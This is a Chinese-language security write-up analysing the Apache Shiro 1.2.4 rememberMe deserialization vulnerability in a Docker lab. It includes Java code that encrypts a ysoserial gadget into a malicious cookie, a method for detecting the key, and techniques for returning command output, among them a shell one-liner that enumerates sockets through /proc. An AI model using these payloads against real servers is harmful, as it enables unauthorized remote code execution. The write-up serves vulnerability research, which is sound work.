I. 准备
使用 docker hub 已有的漏洞环境,IDEA 配置 Remote Debug
> docker pull medicean/vulapps:s_shiro_1
> docker run -d -p 8080:8080 -p 8090:8090 --env JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8090,server=y,suspend=n" medicean/vulapps:s_shiro_1
拉取源码
> git clone https://github.com/apache/shiro.git
> git checkout shiro-root-1.2.4
II. 漏洞原理
原因是因为在 org.apache.shiro.mgt.AbstractRememberMeManager 中有定义以下内容,导致攻击者利用默认密码实现反序列化RCE
序列化对象需要继承 PrincipalCollection (实际非必须,下文有解释)
设置加密方式为 AES/CBC/PKCS5Padding,具体可在org.apache.shiro.crypto.DefaultBlockCipherService#DefaultBlockCipherService中查看
硬编码默认加密密钥 DEFAULT_CIPHER_KEY_BYTES
加密cookie
当用户登陆成功并且选择rememberme的时候,会进入org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 保存新的验证信息
接着在rememberIdentity函数中,先通过getIdentityToRemember获取到用户标志信息
Returns all principals associated with the corresponding Subject. Each principal is an identifying piece of information useful to the application such as a username, or user id, a given name, etc - anything useful to the application to identify the current Subject.
再进入同名方法rememberIdentity中,这里首先通过convertPrincipalsToBytes将用户信息转换成 byte 数组,后进行保存
我们来看convertPrincipalsToBytes,先进行序列化后再进行加密,我们重点关注加密算法
在 org.apache.shiro.mgt.AbstractRememberMeManager#encrypt 中调用 AES 类进行加密
实际是调用org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[])
和encrypt(byte[], byte[], byte[], boolean)
,可以看到在最后是把 iv 放在 crypt 加密后的数据内容前,再整体返回
最后进入org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity,对信息 base64编码后存放入 cookie
解密cookie
当用户携带 rememberMe cookie 进行访问时,会进入org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
调用子类CookieRememberMeManager#getRememberedSerializedIdentity提取 cookie,首先判断非 deleteMe 且进行 base64 尾部检测填充后,返回有效 cookie 回到 AbstractRememberMeManager
之后在org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals中,尝试解密和反序列化
解密位于org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
最后由org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])和decrypt(byte[], byte[], byte[])实现解密,整个流程都很常规,主要关注是从 cookie 头16位字节数据为 iv
III. 漏洞检测
1. 无效rememberMe
只能快速判断是否使用 shiro
原理
当我们输入一个无效的 rememberMe cookie 时会因无法解密或反序列化触发异常进入org.apache.shiro.mgt.AbstractRememberMeManager#onRememberedPrincipalFailure
之后进入org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)
最后调用org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法添加 cookie rememberMe=deleteMe
效果
2. 反序列化
主要利用正常解密后的反序列化利用,但反序列化的前提是要使用正确的 key 实现正常解密
原理
从上面无效 rememberMe一节中我们还可以知道
- 当 key 匹配且正常反序列化时,响应不会返回 rememberMe=delete
- 当 key 不匹配时,响应返回 rememberMe=delete
那么只要保证序列化对象的有效性,就可以通过上面的差异来实现匹配 Key
因为序列化对象需要继承PrincipalCollection,所以我们主要关注SimplePrincipalMap、SimplePrincipalCollection
简单写个脚本用于生成 payload
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.Serializer;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.SimplePrincipalMap;
import org.apache.shiro.util.ByteSource;
public class generate {
public static void main(String[] args) {
Serializer<PrincipalCollection> serializer = new DefaultSerializer<PrincipalCollection>();
SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();
System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(simplePrincipalMap)));
}
private static String encrypt(String key, byte[] objectBytes) {
byte[] keyDecode = Base64.decode(key);
AesCipherService cipherService = new AesCipherService();
ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode);
byte[] value = byteSource.getBytes();
return new String(Base64.encode(value));
}
}
效果
Key 匹配 | Key 不匹配 |
---|---|
3. HTTPLog or DNSLog
实际也是利用反序列化,只是简单的向外请求解析域名,但是很多人都喜欢用这个,所以单独列出来
XXXLog 平台如果提供有 API 就可以自动化检测,但毕竟此方法受太多客观因素影响,不建议
IV. 漏洞利用
我们刚才提到了,序列化对象需要继承PrincipalCollection,那么这是必要的么?如果能没有这层限制,是否能利用其他 gadget 进而实现 RCE
我们关注到org.apache.shiro.mgt.AbstractRememberMeManager#deserialize,这里最后调用的是org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化,只是在 return 时会强制转化为PrincipalCollection类型对象
所以我们可以使用其他 gadget 执行攻击,例如 ysoserial 系列
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.Serializer;
import org.apache.shiro.util.ByteSource;
import ysoserial.payloads.CommonsCollections2;
public class poc {
public static void main(String[] args) throws Exception {
Serializer<Object> serializer = new DefaultSerializer<>();
Object obj = new CommonsCollections2().getObject("<Exec Command>");
System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(obj)));
}
private static String encrypt(String key, byte[] objectBytes) {
byte[] keyDecode = Base64.decode(key);
AesCipherService cipherService = new AesCipherService();
ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode);
byte[] value = byteSource.getBytes();
return new String(Base64.encode(value));
}
}
gadget 异常
这里可能会有人提到,为什么很多 cc gadget 无法使用呢?简单跟一个 cc4,会发现报错提示找不到org.apache.commons.collections4.Transformer
,而 shiro 1.2.4 默认使用的 commons-collections4-4.0.jar 理论上是可以的利用的,报错原因在哪里?
我们回到反序列化最开始的地方org.apache.shiro.io.DefaultSerializer#deserialize,注意这里调用的是ClassResolvingObjectInputStream.readObject()
ClassResolvingObjectInputStream继承自ObjectInputStream但重写了 resolveClass,最大的不同在于加载方式
- | ClassResolvingObjectInputStream | ObjectInputStream |
---|---|---|
代码 | ||
加载 | ClassUtils.forName 实际 ClassLoader.loadClass |
Class.forName |
代码 |
那么两种加载方式的区别是什么?这里可先详细阅读这篇文章:ClassUtils详解
- | ClassLoader.loadClass | Class.forName |
---|---|---|
1 | 获取指定的 classLoader | 自动获取 classLoader |
2 | 只能将类加载到 JVM | 可加载到 JVM 并初始化 (ObjectInputStream中设置为 false 未初始化) |
还是没搞懂问题出自哪里,另网上有提及的一处区别(注意!有问题!)
是否会解析数组类型
1)Class.forName会解析数组类型,如[Ljava.lang.String;
2)ClassLoader不会解析数组类型,加载时会抛出ClassNotFoundException;
但是经测试WebAppClassLoader是有能力解析数组的
最后发现关键点在于org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String, boolean),在调用 Class.forName 时指定从父类向上搜寻,导致找不到[Lorg.apache.commons.collections4.Transformer;
类
参数 | parent | this |
---|---|---|
ClassLoader | URLClassLoader | WebappClassLoader |
测试 |
关于WebappClassLoader与其他 ClassLoader 可详细阅读此篇文章:图解Tomcat类加载机制
- WebappClassLoader:各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见
- tomcat 为了实现隔离性,没有遵守双亲委派这个约定,每个webappClassLoader加载自己的目录下的class文件,不会传递给父类加载器
而commons-collections4-4.0.jar
位于 webapp 中项目 /WEB-INF/lib 下,在没有其他额外配置 CLASSPATH 的情况时,默认只有 WebappClassLoader 才能加载
所以 Tomcat 为什么搜索指定父类开始?这个设计就很迷🤔🤔🤔
V. 回显
在遇到几次目标后,会发现有的设备是不出网的,哪怕碰撞出了 key 也不清楚是否正常执行了命令,这时候回显的能力就很重要
因为对回显没有研究,看了其他师傅的文章,按照00theway师傅讲的,目前公开的大概有以下几种方式获取结果:
- 报错回显
- web中获取当前上下文对象(response、context、writer等)
- 可以出网情况下OOB
利用效果比较好的有以下两个,前者适用 Linux/Windows Tomcat,后者适用 Linux 各类场景,各有优势,按场景利用
- 基于 Tomcat Response: https://koalr.me/post/shiro-lou-dong-jian-ce/
- 基于 Linux Socket: https://www.00theway.org/2020/01/17/java-god-s-eye/
1. Tomcat Gadget
原理
编译 java-object-searcher 为 jar,方便引用
$> mvn clean package -Dmaven.test.skip=true
拉取 Tomcat (非源码),创建一个 Tomcat 项目,并自行创建一个 Servlet 用于断点调试
测试 Tomcat 8.0.39 环境下实际只有一条 gadget
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [5] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> handler = {org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler}
---> global = {org.apache.coyote.RequestGroupInfo}
---> processors = {java.util.ArrayList}
---> [0] = {org.apache.coyote.RequestInfo}
---> req = {org.apache.coyote.Request}
在这里又遇到了 cookie 过大的情况,解决方法请看这篇缩小ysoserial payload体积的几个方法
使用 javassist 加载目标类,导致体积过大
pool.insertClassPath(new ClassClassPath(TomcatEcho.class));
CtClass clazz = pool.get(TomcatEcho.class.getName());
转变为使用 javassist 直接创建类
我这里只是实现 Demo,没有对各个 Tomcat 版本以及 CC gadget 做兼容,这位师傅实现对利用链更广泛的兼容:Shiro RememberMe 漏洞检测的探索之路
2. Linux Socket
原理
基于 Linux 万物皆文件的性质,对于每一个链接 socket 都有其对应的文件描述符,通过直接向文件描述符写入内容实现回显
有部分文章使用是尝试通过 IP、PORT 进行过滤获取 inode 值后,再获取 fd 写入,这个方法有一个很大的问题在于如果目标位于负载、代理之后的复杂网络,是没有办法筛选出有效的请求源,导致方法失败
所以我采用通过获取所有有效 inode 值,再获取 fd 组,统一尝试写入,突破复杂网络,实现回显😈
首先了解下 /proc/self/net/tcp
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.h
enum {
TCP_ESTABLISHED = 1,
TCP_SYN_SENT,
TCP_SYN_RECV,
TCP_FIN_WAIT1,
TCP_FIN_WAIT2,
TCP_TIME_WAIT,
TCP_CLOSE,
TCP_CLOSE_WAIT,
TCP_LAST_ACK,
TCP_LISTEN,
TCP_CLOSING, /* Now a valid state */
TCP_NEW_SYN_RECV,
TCP_MAX_STATES /* Leave at the end! */
};
关注到 connection state 标志,通过判断是否为1就可以筛选正在传输的 socket 的 inode 值
之后通过筛选 /proc/self/fd 中 socket[
下面是我用来筛选的语句 Orz
$ > inode=`cat /proc/net/tcp|tail -n +2|awk '{if($4=="01")print}'|awk '{print $10}'`;for i in $inode; do fd=`ls -l /proc/$PPID/fd|grep socket|grep $i|awk '{print $9}'`; if [ ${#fd} -gt 0 ]; then echo -n $fd-;fi;done;
$ > 97-57-
原本是想通过全部由 JAVA 原生代码实现,结果发现生成的 Payload 长度超出了 Cookie or Header Length 限制,除非另利用 gadget 去修改,否则会触发 ERROR 400,后面发现用 shell 直接过滤 fd 更方便快捷